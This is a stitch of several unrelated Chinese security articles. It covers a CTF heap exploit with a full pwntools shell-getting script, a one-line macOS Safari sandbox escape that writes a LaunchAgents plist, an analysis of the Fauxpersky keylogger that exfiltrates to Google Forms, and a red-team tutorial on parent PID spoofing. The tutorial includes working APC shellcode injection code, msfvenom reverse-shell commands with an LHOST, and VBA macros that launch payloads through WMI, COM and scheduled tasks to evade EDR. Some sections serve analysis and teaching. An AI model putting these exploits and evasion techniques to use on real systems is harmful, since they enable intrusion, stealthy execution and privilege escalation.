memset(byte_6020C0, 0, 0x100uLL);
printf("content: ", 0LL);
get_input(byte_6020C0, size);
return strdup(byte_6020C0);
}
### 漏洞利用
看到这里会发现这道题目和`Hitcon CTF`的那道经典的`House-of-orange`差不多，但是由于没有了`Show`函数，我们无法用那种文件伪造的方式一把梭。这里就要借助`unsorted bin
attack`了，我们前面可以按照`HOF`的思路改掉`top_chunk`的`size`，借助多次分配让其掉入`unsorted
bin`，之后堆溢出就可以修改`unsorted
bin->bk`实现攻击了，然而这个攻击方式只不过是写一个`libc`地址到一个位置罢了emm，但是各位需要注意的是我们写的这个地址是`main_arena+88`，这个地址在`main_arena`里代表的是`top_chunk`。如果我们能往bss的`heap_list`上写上这个地址，之后就可以通过`Edit`劫持`top_chunk`到`got表`，进而可以修改got表的内容。
需要注意的是我们仍需要绕过检查，其中很重要的检查就是在之前题目提到的`bck`需要是一个`可写的地址`。这点很容易做到，我们的输入首先会放在bss上，完全可以通过输入伪造`fake_chunk`及其`bk`对应的堆块。
故最终的利用思路是将`main_arena+88`改为`atoi@got-0x10`，即`top_chunk`被改为此处，分配到aoti之后Edit改成printf，用%p泄露libc地址，再修改atoi到system拿shell。
### exp.py
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./note_three')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./note_three')
else:
libc = ELF('./libc-2.23.so')
def New(idx,size,content):
p.recvuntil('choice>> ')
p.sendline('1')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.send(content)
def Edit(idx,content):
p.recvuntil('choice>> ')
p.sendline('2')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("content: ")
p.send(content)
def exp():
#leak libc
#gdb.attach(p,'b* 0x400a97')
for i in range(23):
New(0,0x88,"0"*0x88)
New(0,0x88,"0")#0
New(1,0x88,"1"*0x80)#1 0x90
New(2,0x88,'a'*0x30)#2
Edit(2,'a'*0x30+p64(0)+p64(0xb1))
New(0,0x90,"0"*0x90)
#ub
New(0,0x88,"a")#0
heap_lis = 0x6020c0+0x100
Edit(0,"a"*0x10+p64(0)+p64(0x71)+p64(0)+p64(heap_lis-0x10))
New(1,0x68,'a'*0x60)
#fake top
Edit(0,p64(0x602048)+p64(0)+p64(0x6020c0+0x70)*2)
gdb.attach(p)
New(2,0x90,'a'*0x78+p64(0x91)+p64(0x6021b0)*2)
atoi_got = elf.got['atoi']
payload = 'a'*0x80+p64(0x6021c0)+p64(0x100)
Edit(2,payload)
printf_plt = elf.plt['printf']
#New(1,0x78,"a"*0x78)
Edit(0,p64(atoi_got)+p64(0x100)+p64(atoi_got))
Edit(1,p64(printf_plt))
#gdb.attach(p)
#leak
p.recvuntil("choice>> ")
p.sendline("%19$p")
p.recvuntil("0x")
libc_base = int(p.recvline().strip("\n"),16) - 240 - libc.sym["__libc_start_main"]
log.success("libc base => " + hex(libc_base))
#get shell
p.recvuntil("choice>> ")
p.sendline("1")
p.recvuntil("idx:")
p.sendline()
p.recvuntil("content: ")
p.sendline(p64(libc_base+libc.sym["system"]))
p.recvuntil("choice>> ")
p.sendline("/bin/sh\x00")
p.interactive()
exp()
## 总结
`unsorted bin
attack`不仅仅是起到将一个地址写入一个libc地址的目的，在修改`_IO_list_all`时，我们可以根据成员变量推断出伪造的文件结构体的`_chain`为`small
bin[0x60]`进而伪造`vtable`；在构造得当时，即使没有`UAF`也可以实现`House-of-Roman`；在能够编辑的情况下劫持`top_chunk`控制堆块分配也是一种新奇的利用方式。 | 社区文章 |
**作者：CodeColorist
微博：<https://weibo.com/ttarticle/p/show?id=2309404354112320866984#_0>**
10.13.6 和更早版本的 mac 存在一个低级 bug，只要一行代码即可完成 Safari 沙箱逃逸
### 简述
这个 CoreFoundation 中的漏洞影响直到 macOS High Sierra 10.13.6 (17G65)，在 Mojave
中无意中被重构代码“修复”掉了。
复现只要一行。在 10.13.6 的系统中先关闭 SIP 以便调试 Safari 进程，然后附加到
com.apple.WebKit.WebContent.xpc 并输入如下命令：
po CFPreferencesSetAppValue(@"Label", @"You know what should be put here", [(id)NSHomeDirectory() stringByAppendingPathComponent:@"Library/LaunchAgents/evil.plist"])
写都可以，读自然不是问题
虽然进程有沙箱，但奇怪的是代码被成功执行，在 ~/Library/LaunchAgents 里添加了一个
plist。不仅可以实现沙箱外执行任意代码，连持久化都做了。
### 原理
CFPreferences 系列函数对于 App 开发者并不陌生，虽然绝大多数情况下使用的是 NSUserDefaults。这系列函数可以根据指定
domain 来读写 plist 的键值对信息。默认情况下会保存在 ~/Library（root 权限的进程是 /Library 下）的
Preferences 目录。给 domain 传入绝对路径也是支持的。
<https://developer.apple.com/documentation/corefoundation/1515528-cfpreferencessetappvalue?language=objc>
XPC 的服务端实现在 CoreFoundation 当中。由于操作跨进程，在服务端自然有沙箱检测判断：
cfprefsd 使用 sandbox_check 确保对方具有权限
sandbox_check 这个函数使用 pid 作为参数，可能会受到 pid reuse 的攻击。但在这里有一个更明显更暴力的 bug，就是
CoreFoundation 在处理请求的时候，在第一次 sandbox_check 对方进程是否有沙箱，如果不是，就会给当前会话记录一个标志位。此后每一次
CFPreferences 相关的操作都会先检查这个标志位，然后再做判断。
这样就存在一个 TOCTOU 的问题，如果一个进程在没有沙箱的情况下访问了 CFPreferences，之后即使进程有了沙箱，cfprefsd
仍然会错误地认为这是一个普通进程，而放行操作。
TOCTOU
很不巧 Safari 的沙箱进程默认就满足这一条件。
渲染器的沙箱配置默认禁止创建新进程（process-exec），WebKit 无法在设置沙箱之后再启动渲染器。因此 renderer
在初始化时其实是没有沙箱的，而在之后调用 ChildProcess::initializeSandbox 进入沙箱状态，再载入网页等内容。
手动进入沙箱
由于 renderer 在初始化期间通过 +[NSApplication initialize] 内部方法，“不小心”有了 CFPreferences
的访问记录：
frame #17: 0x00007fff454e015a CoreFoundation` _CFPreferencesCopyAppValueWithContainerAndConfiguration + 107
frame #18: 0x00007fff47868b94 Foundation` -[NSUserDefaults(NSUserDefaults) init] + 1423
frame #19: 0x00007fff47870c3a Foundation` +[NSUserDefaults(NSUserDefaults) standardUserDefaults] + 78
frame #20: 0x00007fff42a3ba4e AppKit` +[NSApplication initialize] + 90
frame #21: 0x00007fff71678248 libobjc.A.dylib` CALLING_SOME_+initialize_METHOD + 19
frame #22: 0x00007fff7166800c libobjc.A.dylib` _class_initialize + 282
frame #23: 0x00007fff71667a19 libobjc.A.dylib` lookUpImpOrForward + 238
frame #24: 0x00007fff71667494 libobjc.A.dylib` _objc_msgSend_uncached + 68
frame #25: 0x0000000100001627 com.apple.WebKit.WebContent` ___lldb_unnamed_symbol1$$com.apple.WebKit.WebContent + 519
frame #26: 0x00007fff72743ed9 libdyld.dylib` start + 1
此后即使浏览器添加了 sandbox，仍然会畅通无阻。
### 利用
使用绝对路径读写 plist 已经可以实现持久化，但是仍然需要注销或重启等操作触发启动项。笔者使用了另一个有趣的 feature
实现了立刻逃逸执行代码，并向受害者发出精神污染，完全抛弃“不弹不闪不卡”。
* * * | 社区文章 |
# Fauxpersky：凭证窃取型恶意软件分析
|
##### 译文声明
本文是翻译文章，文章原作者 CYBEREASON NOCTURNUS RESEARCH，文章来源：www.cybereason.com
原文地址：<https://www.cybereason.com/blog/fauxpersky-credstealer-malware-autohotkey-kaspersky-antivirus>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
攻击者一直都会不断地寻找在Windows系统上执行任意文件的新方法，其中一种技术就涉及到AutoIT或AutoHotKey的使用，而这种简单的工具允许用户向Windows系统中写入各种类型的小型GUI程序以及键盘自动化任务。比如说，AutoHotKey（AHK）允许用户通过写入脚本代码来与Windows交互，从Windows中读取文本信息以及向其他应用程序发送键盘击键数据等任务。AHK还允许用户使用自己的代码创建可编译的exe文件。
如果你是一名攻击者，而你正好又想开发一款简单且高效的凭证窃取工具的话，那么AHK绝对会是一个很好的“帮手”。没错，我们的确发现了一款使用AHK开发的专门用来窃取用户凭证信息的恶意软件，这款恶意软件可以伪装成卡巴斯基反病毒软件，并通过受感染的USB设备来进行恶意软件传播。我们将其命名为Fauxpersky，接下来在这篇文章中我们将对这个恶意软件进行分析。
## Fauxpersky分析
我们在受感染的客户设备上发现了四个感染文件，其中每一个文件的文件名都跟Windows系统中的合法文件名类似：
`Explorers.exe
Spoolsvc.exe
Svhost.exe
Taskhosts.exe`
下图显示的是客户环境中的可疑文件：
## EXPLORERS.EXE：自我复制和持久化感染
这个AHK键盘记录工具使用了一种比较直接的方法来实现自我复制和传播。初始化执行完成之后，键盘记录工具会收集目标系统中的驱动器信息，然后开始向这些驱动器进行自我复制，下面给出的是大致的感染过程。
收集可移动驱动器：
重命名可移动驱动器：
向可移动驱动器中复制文件：
这样一来，键盘记录工具就可以从一台主机设备中传播到其他连接到该主机的外部驱动器中了。如果键盘记录工具成功感染了一台外部驱动器，那么它将会按照自己的命名机制来对受感染驱动器进行重命名。
比如说，如果目标设备挂载了一个名叫”Pendrive”的8GB
USB驱动器，并执行了键盘记录工具，那么恶意软件会将这个USB驱动器的名字改为”Pendrive 8GB (Secured by Kaspersky
Internet Security 2017)”，而这也是其中一个可以直接识别的入侵威胁指标IoC。
这款恶意软件还会创建一个指向batch脚本的autorun.inf文件，脚本内容如下：
`start /d ".System Volume InformationKaspersky Internet Security 2017"
taskhosts.exe`
## 分析恶意软件在EXPLORERS.EXE中实现的持久化感染方法
explorers.exe中有一个名叫CheckRPath()的函数，如果目标文件不存在于当前驱动器中，键盘记录工具将使用这个函数来创建恶意文件。你可以从上图中看到，代码会根据传递进来的路径参数来创建文件，并使用AHK的FileSetAttrib()函数来设置文件属性“SH”（表示系统System和隐藏属性Hidden）。键盘记录工具还会使用相同的方法来创建所需的文件夹，比如说使用参数“RSH”、“Read-Only”、“System”或“Hidden“等等。
文件创建成功之后，它将会迭代查询所有需要的组件，并将它们发送到目标磁盘中。相关代码如下所示：
在开始创建组件文件（HideRFiles()）时，代码会入一个循环。这种循环可以帮助键盘记录工具以一种结构化的方式对它所要写入到目标磁盘中的文件进行迭代查询。我们可以看到，一开始它会向每一个磁盘写入快捷方式链接（.lnk）、文本和batch文件。接下来，传递给函数的值将会自增，并在文件全部写入完毕之后移动到一个完整的文件夹之中，这样可以确保所有的文件都可以一次性被移动到正确的目的路径中。
最终，所有的文件（之前所介绍的四份可疑文件）都将会保存在一个名叫“Kaspersky Internet Security 2017
“的目录中。除了可执行文件之外，还有两个是非可执行文件。其中一个文件名叫”Logo.png“，如下图所示：
另一个文件名叫“Readme.txt”，其中包含下列内容：
`If you are unable to launch files/folders correctly, please disable your
antivirus program.
Source: https://www.bleepingcomputer.com/forums/t/114351/how-to-temporarily-disable-your-anti-virus-firewall-and-anti-malware-programs/`
当受感染系统启动之后，Logo.png会显示在屏幕上，以此来欺骗用户让他们以为自己安装并运行了卡巴斯基的反病毒产品。
使用IDA Pro进行深入分析之后，我们发现这些文件其实是64位Windows PE文件，它们几乎是一模一样的。
我们可以看到，代码所创建的mutex名叫“AHK
Keybd“。根据Google的搜索资料我们可以了解到，这是一个标准的AHK可执行程序，实际的AHK语言代码存在于每个PE文件的resource区域中（RCDATA）。
为了从exe文件中提取出AHK代码，Amit开发了一个名叫ahk-dumper的小型工具，它可以对PE文件中的RCDATA资源进行迭代搜索，并打印出相应的内容。
既然我们现在已经可以从每一个PE文件中提取出代码了，我们就可以弄清楚这些PE文件的功能了。
文件名：explorers.exe
功能：USB驱动器传播&感染
文件名：svhost.exe
功能：键盘记录、向文件（Log.txt）写入键盘记录数据
文件名：taskhost.exe
功能：持久化感染（？）
文件名：spoolsvc.exe
功能：数据提取
## 分析AHK代码
### SVHOST.EXE-键盘记录
Svhost.exe可以通过AHK函数WinGetActiveTitle()监控捕捉到焦点的活动窗口，然后调用AHK函数input()来监控用户在该窗口中的输入。所有的键盘记录数据会保存在一个名叫“Log.txt“的文件中，该文件的存储路径为“%APPDATA%Kaspersky
Internet Security 2017”。键盘记录数据样本如下图所示：
### TASKHOST.EXE-持久化感染
这个部分的代码负责实现持久化感染，第一步就是将恶意软件的CWD修改为%APPDATA%，然后创建目录“Kaspersky Internet Security
2017”。
这个文件其实还有另一个执行路径：
为了防止文件拷贝失败，恶意软件还会使用FileCopy()函数来再次向目标路径拷贝文件，并使用FileSetAttrib()函数来设置文件属性。
### SPOOLSVC.EXE-数据提取
Spoolsvc首先会修改注册表键，并禁止系统显示隐藏文件：
大家可以从上述代码中看到，恶意软件会编辑HKLMSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced中的两个键，即把“Hidden“设置为2（禁止显示隐藏文件），把”ShowSuperHidden“设置为0（隐藏系统文件）。
修改完成之后，恶意软件会检测explorers.exe是否处于运行状态。它的作用其实是一个watchdog，主要用来保证恶意软件的持久化感染&执行。
为了实现持久化感染，恶意软件还会在启动菜单中的startup目录下创建一个快捷方式：
需要注意的是，这个文件还可以将Log.txt文件中的键盘记录数据提取到Google表单中，而这绝对是一种非常聪明的数据提取方法。
下图显示的是整个攻击流程：
这也就意味着，攻击者不需要再去利用各种命令以及控制服务器来传递数据，而且对于很多流量监控机制来说，这些也不会被当作可疑流量。下图显示的是用于数据提取的Google表单：
下面的代码负责将数据提交至Google表单，该文件会将键盘记录数据读入到缓冲区中，然后把原始记录文件删除，最后再将缓冲区中的数据发送给Google表单：
## 总结
这款恶意软件其实并不算多么先进，而且隐蔽性也不够高，它的开发者甚至都没有认真去对一些细节进行修改，比如说绑定在恶意文件中的AHK图标等等。但是，这款恶意软件感染USB驱动器的效率非常高，而且还可以利用键盘记录工具从Google表单中提取数据，并将其发送至攻击者邮箱之中。目前我们还不清楚受感染用户的具体数量，感兴趣的同学可以持续关注《安全客》的最新报道。
## 缓解方案
我们已经将受影响的Google表单相关信息上报给了Google，Google的安全团队也在不到一个小时的时间里解决了表单的安全问题。如果你发现自己感染了这款恶意软件，你可以进入到系统的%appdata%Roaming目录中，并删除Kaspersky
Internet Security 2017目录，此时相关文件应该已经成功从启动菜单的startup文件夹中删除了。
## 已知病毒哈希
`5b983981d565e0606c12b2e94231ac4226fd3b36dcd0ed40dee69d85d2c43b03
6fa2437f224d22127efc81da99f178c6c83408bc6316acae892d76f64879bbb1
3b88c248c18f6180a707cd4b8b5ad33a3482f1cc0405f9d2ff7b976de90c9889
d0dd1ac2b543f408382c138fe27e6192f2f5265426fb3260b16e2273c7fe0dbd
b93bb18f600a637d4d7ffe493e693335065418ea5b07f21dfe4faa78d1bbb418
3872d58bf4aa14680b9f58bfd1efae14fc31fa6605a9ae5ef85a3755309a4173
2acb8d091c2b362bab4f8167378b32c8e05db9b6ba0198fa7fe9abf31d2be16a` | 社区文章 |
## 文章正文
监控父进程和子进程之间的关系是威胁检测团队检测恶意活动的常用技术，例如，如果powershell是子进程，而Microsoft
Word是父进程，这种这种异常行为各种EDR可以很容易地检测到，这时红队可以考虑使用父进程PID欺骗作为逃避方法。
Windows
API——"CreateProcess"允许用户传入一个用于分配父进程PID的参数，这意味着当恶意进程从实际执行的父进程创建时，它可以使用其他的进程作为其父进程。最初这项技术是由Didier
Stevens在2009年提出，于此同时他还发布了一个用C++编写的POC([SelectMyParent](http://www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip//
"SelectMyParent")），它允许用户通过指定PID来选择其父进程，"CreateProcess"函数与"STARTUPINFOEX"和"LPPROC_Thread_ATTRIBUTE_LIST"一起使用：
SelectMyParent.exe notepad 508
PID 508对应于负责登录活动、密码更改等操作的"lsass.exe"进程，在执行完上述命令之后Notepad将在lsass.exe进程下创建
对进程属性的检查显示notepad以系统级权限运行，这是因为子进程(notepad.exe)获得了父进程(lsass.exe)的特权:
在Meterpreter会话中，可以通过指定进程名称来检索当前会话的PID：
getpid
ps lsass.exe
## PowerShell
F-Secure发布了一个PowerShell脚本([PPID-Spoof](https://github.com/countercept/ppid-spoofing "PPID-Spoof"))，它可以用于父进程欺骗，该脚本包含嵌入的C#代码，以便与"CreateProcess" Windows
API进行交互。
public static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
该工具接受3个参数，即父进程的pid、子进程的系统路径和用于代码执行的任意dll的路径：
PPID-Spoof -ppid 3556 -spawnto "C:\Windows\System32\notepad.exe" -dllpath pentestlab.dll
notepad将在powershell的上下文中执行，dll将在notepad.exe内部加载：
由于dll被加载到进程内部，所以执行之后将会返回一个Meterpreter会话：
一种更隐蔽的方法是在"lsass"进程中加载dll，这样一来威胁检测团队必须检查EventHeader
ProcessId和ParentProcessID来识别进程欺骗
PPID-Spoof -ppid 3244 -spawnto "C:\Windows\System32\lsass.exe" -dllpath pentestlab.dll
之后将在加载任意dll的系统上创建一个新的"lsass"进程，这个场景允许红队加载"合法"环境Process：
Meterpreter会话将以进程ID 1312打开，该进程ID对应于"rundll32"进程，该进程执行的dll是"lsass.exe”的子进程：
Andrea
Pierini通过在Powershell脚本中嵌入C#代码实现了父进程PID欺骗技术，该脚本将创建一个新的子进程，该进程将把用户定义的任何进程作为父进程，与F-Secure脚本类似，使用"CreateProcess()"API来执行欺骗
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(436,"C:\Windows\System32\cmd.exe","")
创建的进程将获得父进程(winlogon.exe)的特权(SYSTEM)
## C++
早在2017年，Adam Chester在他的[博客](https://blog.xpnsec.com/becoming-system/
"博客")中解释了Meterpreter的"getsystem"命令是如何在后台工作的，为了将进程的权限从管理员提升到系统，Adam在2014年扩充了Raphael
Mudge的文章，内容是关于Meterpter用来提升到系统权限的三种技术。
[Getsystem-Offline](https://github.com/xpn/getsystem-offline "Getsystem-Offline")二进制文件利用windows的"ImpersonateNamedPipeClient"API来提升它对系统的权限，原理是通过创建和实施一个服务来实现的，该服务作为系统运行以连接到进程的命名管道，并使用"ImpersonateNamedPipeClient"API来创建提升的模拟Token
getsystem-offline.exe
默认情况下，二进制文件将以提升的权限打开新的命令提示符
我们也可以通过修改代码以执行任意二进制文件:
根据Microsoft文档表述，"异步过程调用"是在特定线程的上下文中异步执行的函数，Halil Dalabasmaz在他的C++工具[APC-PPID](https://github.com/hlldz/APC-PPID "APC-PPID")中使用了一种进程注入方法，实现了父pid欺骗。
最初，函数"getParentProcessID()"用于检索父进程的PID，"TlHelp32.h"支持"CreateToolhelp32Snapshot"函数，该函数负责拍摄指定进程的快照(explorer.exe)，拍摄快照时，将检索进程大小和PID，并关闭句柄：
DWORD getParentProcessID() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process)) {
do {
//If you want to another process as parent change here
if (!wcscmp(process.szExeFile, L"explorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
Windows API "CreateProcess"用于在系统(Iexplore.exe)上创建一个具有"STARTUPINFOEXA"结构的新进程
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
DWORD getParentProcessID() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process)) {
do {
//If you want to another process as parent change here
if (!wcscmp(process.szExeFile, L"explorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
int main() {
//Shellcode, for example; msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x EXITFUNC=thread -f c
unsigned char shellCode[] = "";
STARTUPINFOEXA sInfoEX;
PROCESS_INFORMATION pInfo;
SIZE_T sizeT;
HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());
ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo);
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T *lpNumberOfBytesWritten = 0;
BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);
QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
ResumeThread(pInfo.hThread);
CloseHandle(pInfo.hThread);
return 0;
}
Metasploit实用程序"msfvenom"可以用于生成c语言的shellcode：
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.13 LPORT=4444 EXITFUNC=thread -f c > pentestlab.txt
之后替换shellCode[]:
在目标系统上执行二进制文件将创建一个新的进程(Iexplore.exe
)，该进程的父进程是explorer.exe，shellcode将通过使用用户模式异步过程调用在internet explorer进程的内存空间中执行:
之后将会返回一个目标主机的Meterpreter会话：
查看目标系统的进程将显示"iexplore.exe"已成功创建
查看进程属性将验证父进程是"explorer.exe"，这个POC实现了一个更隐蔽的进程注入方法来隐藏进程内部的shellcode，并且由于explorer和internet
explorer都是有效的，Microsoft系统进程将绕过EDR检测:
Julian Horoszkiewicz基于Didier Stevens的工作开发了一个C++(PPID-Spoof)工具，它可以用于父进程欺骗，并且允许用户选择父进程PID
spoof.exe pentestlab.exe 1116
一旦在目标主机上创建了进程，将执行任意负载并打开一个会话
在process explorer中查看PID的进程细节可以看到该进程是explorer.exe的子进程：
## CSharp
[Getsystem](https://github.com/py7hagoras/GetSystem
"Getsystem")二进制文件是用c#开发的，它实现了父进程PID欺骗，以便提升对系统的权限，这是通过类似于F-Secure实验室发布的代码的"CreateProcess"API实现的。.Net binary只接受两个参数，即任意可执行文件和将作为父进程的进程名
GetSystem.exe pentestlab.exe lsass
进程"pentestlab.exe"将作为"lsass.exe"的子进程在目标主机上创建:
之后将返回一个Meterpreter会话，且为SYSTEM权限：
这里的"getsystem"是基于c#的，这使得它能够通过Covenant或任何其他可以加载汇编二进制文件的相关框架(CS)来实现这项技术:
Assembly GetSystem.exe "pentestlab.exe lsass"
类似于Metasploit框架的"migrate"命令，可以执行Assembly二进制文件，之后将进程从管理员提升到系统
对可用"Grunts"列表的调查将显示，与初始进程相比，新代理以系统级权限运行
父进程可以是"lsass"或以系统级权限运行的任何其他进程
Chirag Savla使用c#开发了一个工具，通过利用所有常见的windows API(create
process、virtualallocex、openprocess等)来执行进程注入，并能够执行父pid欺骗)，该工具的好处是支持带有父PID欺骗的不同进程注入技术，该工具接受base-64、c和hex中的shelllcode，我们可以使用Msfvenom来生成这些格式的shellcode：
msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=10.0.0.13 LPORT=4444 -f hex > pentestlab.txt
该工具需要注入进程的路径、shellcode的路径、父进程名、有效负载的文件格式和进程注入技术，执行下面的命令将把shellcode注入一个新的进程(calc.exe
)并使用explorer.exe作为父进程
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:4
从Porcess Monitor可以看到calc.exe是在explorer.exe环境下创建的
shellcode将在calc.exe的虚拟地址空间中执行，并且将与MSF建立通信
ProcessInjection还支持通过dll注入进行父PID欺骗，可以用msfvenom来生成任意的dll文件
msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=10.0.0.13 LPORT=4444 -f dll > pentestlab.dll
在使用时需要指定dll的路径，而不是ShellCode，并且技术值应该更改为5：
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.dll" /parentproc:explorer /t:5
当在进程内部创建远程线程时，将执行shell代码并打开一个Meterpreter会话
该Session将在"rundll32"进程的上下文下运行
指定技术6将使用进程空洞化技术执行父进程欺骗
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:6
该工具还支持带有异步过程调用的进程注入，对于更隐蔽的方法shellcode的执行将发生在目标进程的主线程的入口点之前
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:8
一个名为[Remote ProcessInjection](https://github.com/Mr-Un1k0d3r/RemoteProcessInjection "Remote
ProcessInjection")的c#实用程序也能够执行进程注入，该工具是为Cobalt
Strike设计的，并接受base-64的有效载荷，Msfvenom可以生成原始的ShellCode，之后将该Shell Code转换为base-64：
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.13 LPORT=4444
base64 -i /root/payload64.bin > payload64.txt
ShellCode将被注入到目标进程中，尽管它没有利用"CreateProcess"API来欺骗父进程，但它提供了在合法的WIndows进程中隐藏恶意软件的能力：
RemoteInject64.exe 4272 <base64-shellcode>
有效负载将从目标进程的内存地址空间执行，进程注入方法与Metasploit的"migrate" 命令相似，都使用相同的Windows API
## VBA
Microsoft
Office一直是非常受欢迎的恶意软件中间应用，因为它帮助红队在目标内部环境获得最初的立足点，然而以宏的形式执行恶意代码将会创建任意的子进程，这很容易被具有分析进程的父和子关系之间的异常的能力的EDR发现。
有多种方法可用于逃避对提供父/子关系检测的EDR产品，例如，VBScript可以调用其他系统资源来执行恶意软件，如WMI、COM或计划任务，父进程可以不是Windows
Word，而是Windows操作系统的进程，以下宏将使用wmi(Windows Management Instrumentation)来创建新进程
Sub Parent()
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("C:\Temp\pentestlab.exe", Null, objConfig, intProcessID)
End Sub
这种方法的好处是创建的进程将在"WmiPrvSE.exe"下生成，而不是Office进程
之后将会返回一个Meterpreter会话：
COM对象也可以用来执行新的进程：
Sub Parent()
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "pentestlab.exe",Null,"C:\Temp\",Null,0
End Sub
使用此方法执行恶意文件的结果是，父进程将是"explorer.exe"，即使程序的执行在office应用内部进行：
下图为通过执行任意有效负载的COM对象后返回的一个Meterpreter会话：
计划任务经常被用作一种持久性方法，因为它允许红队在特定的日期或时间执行他们的事务，它也可以用于父PID欺骗，因为调度任务可以直接从VBScript创建，下面的代码注册了一个新的调度任务，该任务将在30秒后触发有效负载的执行
Sub Parent()
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Pentest Laboratories"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Users\pentestlab.exe"
Call service.GetFolder("\").RegisterTaskDefinition("PentestLab", td, 6, , , 3)
End Sub
新的进程将不再以微软产品的流程为父进程，而是以"svchost.exe"作为更隐蔽的方法：
查看进程属性可以看到父进程是"svhcost.exe"
## Metasploit
Metasploit框架包含一个后渗透测试模块，可用于将现有的Meterpreter会话迁移到系统上的另一个进程，该模块将遵循与本文中描述的其他工具相同的功能，以便将现有的shell代码重写到另一个进程的地址空间中，具体而言该模块将遵循以下流程:
* 获取目标进程的PID
* 检查目标进程的体系结构(32位或64位)
* 检查meterpreter会话是否具有SeDebugPrivilege
* 从现有进程中检索负载
* 调用OpenProcess() API以获得对目标进程虚拟内存的访问
* 调用VirtualAllocEx() API以在目标进程中分配rwx内存
* 调用WriteProcessMemory() API以将负载写入进程的虚拟内存空间
* 调用CreateRemoteThread() API以在目标进程的虚拟内存空间中创建一个线程
* 关闭上一个线程
使用PID和目标进程的名称来定义现有会话
use post/windows/manage/migrate
set SESSION 1
set PID 508
set NAME lsass.exe
set KILL true
执行结果如下所示：
类似地，Meterpreter还包含"migrate"命令，该命令可以将现有会话迁移到另一个进程
## Toolkit
本文涉及到的工具如下所示：
* SelectMyParent(C++):<http://www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip>
* ppid-spoofing(PowerShell):<https://github.com/countercept/ppid-spoofing>
* GetSystem(C#):<https://github.com/py7hagoras/GetSystem>
